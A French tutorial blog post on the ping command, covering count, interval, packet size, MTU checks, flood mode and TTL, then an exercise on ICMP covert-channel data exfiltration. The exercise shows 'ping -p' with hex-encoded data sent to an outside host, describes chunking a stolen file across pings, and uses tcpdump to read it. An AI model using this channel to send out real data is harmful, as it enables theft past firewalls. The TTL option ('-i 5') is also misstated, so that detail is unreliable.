réseaux

Toutes les fonctionnalités de la commande PING.

26/03/2026
Les ressources cachées de la commande ping expliquées simplement

La commande ping est souvent perçue comme un simple test "ça marche ou ça marche pas", mais c'est en réalité un véritable couteau suisse pour diagnostiquer la santé d'un réseau. Elle repose sur le protocole ICMP (Internet Control Message Protocol).

Voici tout ce que vous pouvez faire avec, des options de base aux techniques plus avancées.

1. Comprendre le mécanisme de base

Avant de plonger dans les options, voici comment le processus fonctionne concrètement :

Le ping envoie des données et attend une réponse du serveur afin de diagnostiquer la connexion réseau. Voici, ci-dessous, la commande de base de ping.

ping progfacil.fr

Ce qui se passe "sous le capot"

Quand tu lances cette commande, ton ordinateur effectue deux actions précises du protocole ICMP :

  1. Il envoie un paquet de type Echo Request (Type 8).
  2. Le serveur (s'il l'autorise) répond par un paquet Echo Reply (Type 0).

2. Contrôler le flux des paquets

Par défaut, Windows envoie 4 paquets et s'arrête, tandis que Linux continue indéfiniment. Vous pouvez changer cela :

  • Modifier le nombre d'envois :
  • Windows : ping -n 10 google.com (envoie 10 paquets).
  • Linux : ping -c 10 google.com (le -c signifie count).
  • Le ping "infini" (sous Windows) :
  • ping -t google.com (utile pour surveiller une coupure de connexion pendant que vous manipulez des câbles).
  • Changer l'intervalle :
  • Linux : ping -i 0.5 google.com (envoie un paquet toutes les demi-secondes au lieu de chaque seconde).

3. Tester la charge et la taille des paquets (MTU)

C'est ici que ça devient intéressant pour le dépannage de performance.

  • Changer la taille du paquet :
  • Par défaut, un ping fait 32 octets (Windows) ou 64 octets (Linux). Pour tester si de gros paquets passent :
  • Windows : ping -l 1500 google.com
  • Linux : ping -s 1500 google.com
  • Détecter les problèmes de MTU (Fragmentation) :
  • Si vous suspectez qu'un routeur bloque les gros paquets, vous pouvez forcer le bit "Ne pas fragmenter" (Do Not Fragment) :
  • Windows : ping -f -l 1472 google.com
  • Si cela échoue, c'est que votre paquet est trop gros pour la structure du réseau sans être découpé.

4. Le mode "Flood" (Linux uniquement)

Attention : À n'utiliser que sur votre propre réseau. C'est un test de stress.
  • sudo ping -f google.com
  • Le terminal affiche des points pour chaque paquet envoyé et efface un point pour chaque réponse reçue. Cela permet de voir instantanément si le réseau sature sous la charge.

5. Analyse du trajet et du protocole

  • Forcer l'IPv4 ou l'IPv6 :
  • ping -4 google.com ou ping -6 google.com.
  • Modifier le TTL (Time To Live) :
  • Le TTL limite le nombre de "sauts" (routeurs) qu'un paquet peut traverser.
  • ping -i 5 google.com (Le paquet mourra après 5 routeurs). C'est un peu le principe simplifié du tracert.

6. Les petits "plus" pratiques

  • Le ping sonore :
  • Linux : ping -a google.com. Votre ordinateur émettra un "bip" à chaque réponse reçue. Pratique quand vous travaillez sous un bureau et que vous ne voyez pas l'écran !
  • Afficher l'horodatage (Timestamp) :
  • Linux : ping -D google.com. Affiche l'heure UNIX devant chaque ligne, idéal pour enregistrer des logs sur une longue période.

Résumé des commandes (Windows vs Linux)

Fonctionnement du ping pour diagnostique réseaux


7. Exercice Exfiltration des données

L'exfiltration de données via le MTU (ou plus précisément via le champ Data du paquet IP/ICMP) est une technique de "Covert Channel". Le but est de détourner l'usage normal du ping pour envoyer des informations volées.

Voici comment on procède techniquement pour modifier le contenu d'un ping :

Le concept : Détourner le "Payload"

Normalement, un ping contient une suite de caractères bidon (souvent abcdefg...). Avec l'option -p (sur Linux), tu peux remplacer ces données par de l'hexadécimal.

Si tu veux envoyer le mot "SECRET", tu dois d'abord le convertir en hexadécimal :

  • S = 53, E = 45, C = 43, R = 52, E = 45, T = 54
  • Mot complet : 534543524554

La commande pour exfiltrer

Pour envoyer ce mot à ton instance AWS :

ping -p 534543524554 -c 1 progfacil.fr
  • -p : Définit le "padding" (le remplissage du paquet) avec ton code hexadécimal.
  • -c 1 : Un seul paquet suffit pour envoyer ce petit mot.

Utiliser le MTU pour de plus gros volumes

Si tu as un fichier entier à voler, tu ne peux pas tout mettre dans un seul ping (à cause de la limite du MTU, environ 1500 octets).

Le hacker va alors :

  1. Découper le fichier en morceaux de 1400 octets.
  2. Envoyer une série de pings, chaque ping contenant un morceau du fichier.
  3. Reconstruire le fichier à l'arrivée en écoutant le réseau avec un outil comme tcpdump ou Wireshark.

Comment "voir" les données exfiltrées ?

C'est la partie la plus impressionnante. Si tu es sur ton serveur AWS et que tu veux voir ce qui arrive, lance cette commande :

sudo tcpdump -i eth0 icmp -X
  • -i eth0 : Écoute sur la carte réseau.
  • icmp : Ne montre que les pings.
  • -X : Affiche le contenu des paquets en Hexadécimal ET en texte clair (ASCII).

Pourquoi c'est une technique de "Cyber" ?

  • Discrétion : La plupart des firewalls laissent sortir le ping sans regarder ce qu'il y a dedans.

Exercice pour toi :

  1. Trouve le code hexadécimal de ton prénom.
  2. Envoie-le vers ton serveur AWS avec ping -p.
  3. Vérifie sur ton serveur avec tcpdump si tu arrives à lire ton prénom dans le paquet reçu.


Résultat attendu :

éxfiltration de données via le réseau icmp avec  la commande ping

sudo journalctl -k | grep -i icmp